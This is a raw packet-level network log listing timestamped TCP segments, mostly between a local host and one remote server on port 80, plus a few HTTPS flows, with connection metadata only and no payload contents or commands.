Nov 25, 2024 07:53:23.091454029 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.091527939 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.091595888 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.092242956 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.092253923 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.092303991 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.093075037 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.093187094 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.093224049 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.093267918 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.093425989 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.093441010 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.093561888 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.093570948 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.093621969 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.093902111 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.093976021 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.093985081 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.094041109 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.094773054 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.094784975 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.094846964 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.095561028 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.095602036 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.095639944 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.096008062 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.096405029 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.096487999 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.096548080 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.097228050 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.097285986 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.097326994 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.097377062 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.098066092 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.098114967 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.098154068 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.098154068 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.098877907 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.098912954 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.098980904 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.099021912 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.099689007 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.099812031 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.099869967 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.100557089 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.100570917 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.100647926 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.101349115 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.101450920 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.101454020 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.101500988 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.101727009 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.101743937 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.101804018 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.101844072 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.101844072 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.101854086 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.101867914 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.101933002 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.103341103 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.103528023 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.103621006 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.110419989 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.110434055 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.110445976 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.110457897 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.113949060 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.113976002 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.114089966 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.114484072 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.114499092 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.121915102 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.121927977 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.131699085 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.131730080 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.131792068 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.132111073 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.132200003 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.132205963 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.132415056 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.132951975 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.133032084 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.133059025 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.133177996 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.133770943 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.133860111 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.167714119 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.167741060 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.167793036 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.167809010 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.167840004 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.167859077 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.174762011 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.174778938 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.174863100 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.174873114 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.174912930 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.182993889 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.183012962 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.183100939 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.183108091 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.183159113 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.191072941 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.191092968 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.191171885 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.191179991 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.191224098 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.194041967 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.194097996 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.194114923 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.194180012 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.194499016 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.194539070 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.194539070 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.194592953 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.195339918 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.195457935 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.195461988 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.195502996 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.195867062 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.195929050 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.195933104 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.195944071 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.195972919 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.195983887 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.196007013 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.196114063 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.196396112 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.196444035 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.196480989 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.196548939 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.197525978 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.197609901 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.198232889 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:23.198249102 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:23.198445082 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.198517084 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.201713085 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.201723099 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.201734066 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.201749086 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.201775074 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.201792955 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.201805115 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.201808929 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.201809883 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.201817036 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.201828957 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.201839924 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.201864004 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.201864004 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.201895952 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.256246090 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.256323099 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.256352901 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.256557941 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.256632090 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.256728888 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.256782055 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.257323980 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.257395029 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.257416964 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.257452965 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.258116961 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.258192062 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.258265018 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.258352995 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.258562088 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.258599043 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.258690119 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.258743048 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.259371996 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.259485006 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.259493113 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.259531975 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.260198116 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.260304928 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.260313034 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.260354042 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.261142969 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.261219025 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.261291981 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.261883020 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.261929989 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.261979103 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.261979103 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.262703896 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.262828112 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.262892008 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.263525963 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.263644934 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.263710976 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.264342070 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.264390945 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.264452934 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.264506102 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.265172958 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.265295029 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.265338898 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.266026020 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.266149998 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.266227007 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.266807079 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.266884089 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.266942024 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.267045975 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.267678022 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.267723083 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.267788887 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.267788887 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.268565893 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.268683910 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.268745899 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.269329071 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.269479990 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.269483089 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.269552946 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.270164967 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.270230055 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.270287991 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.270665884 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.270987034 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.271039009 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.271089077 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.271876097 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.271941900 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.271965981 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.272018909 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.277919054 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.278028965 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.278062105 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.278105021 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.278383017 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.278466940 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.278558016 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.278609991 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.279196024 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.279236078 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.279298067 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.279336929 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.280025959 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.280085087 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.280097961 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.280178070 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.280831099 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.280961037 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.280983925 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.281008005 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.281753063 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.281852961 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.281881094 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.281914949 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.282584906 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.282630920 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.282655954 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.282676935 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.283354998 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.283433914 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.283504009 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.283703089 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.284157991 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.284213066 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.284250975 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.284321070 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.285137892 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.285198927 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.285224915 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.285242081 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.285839081 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.285954952 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.286040068 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.286221027 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.290719986 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.290731907 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.290743113 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.290755033 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.290766001 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.290776968 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.290796995 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.290846109 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.291220903 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.291347027 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.291409016 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.291484118 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.292309046 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.292320967 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.292393923 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.293011904 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.293025970 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.293087006 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.293144941 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.293864012 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.293951035 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.294037104 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.294270992 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.294742107 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.294754028 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.294806957 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.294898987 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.294910908 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.294949055 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.294981956 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.308478117 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.308547974 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.308728933 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.309053898 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.309053898 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.309078932 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.309089899 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.311594009 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.311623096 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.311650038 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.311655045 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.311698914 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.311744928 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.312114954 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.312133074 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.312144995 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.312150955 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.312740088 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.312755108 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.314502954 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.314529896 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.314599037 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.314908028 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:23.314920902 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:23.323745966 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.323841095 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.323925972 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.324069977 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.324172020 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.324246883 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.324266911 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.324312925 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.324986935 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.325100899 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.325104952 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.325297117 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.325803041 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.326946974 CET	49722	80	192.168.2.6	185.215.113.206
